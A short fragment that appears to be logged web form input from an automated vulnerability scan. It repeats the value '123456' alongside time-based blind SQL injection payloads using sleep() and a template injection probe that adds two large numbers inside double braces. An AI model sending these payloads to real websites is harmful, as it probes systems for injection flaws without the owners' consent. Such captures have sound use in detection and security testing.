(select*from(select+sleep(0)union/**/select+1)a)
123456
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(select*from(select+sleep(2)union/**/select+1)a)
/*1*/{{859406126+986018584}}
123456
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(select*from(select+sleep(0)union/**/select+1)a)
123456
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123456
123456
(select*from(select+sleep(2)union/**/select+1)a)
/*1*/{{859406126+986018584}}
123456
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123456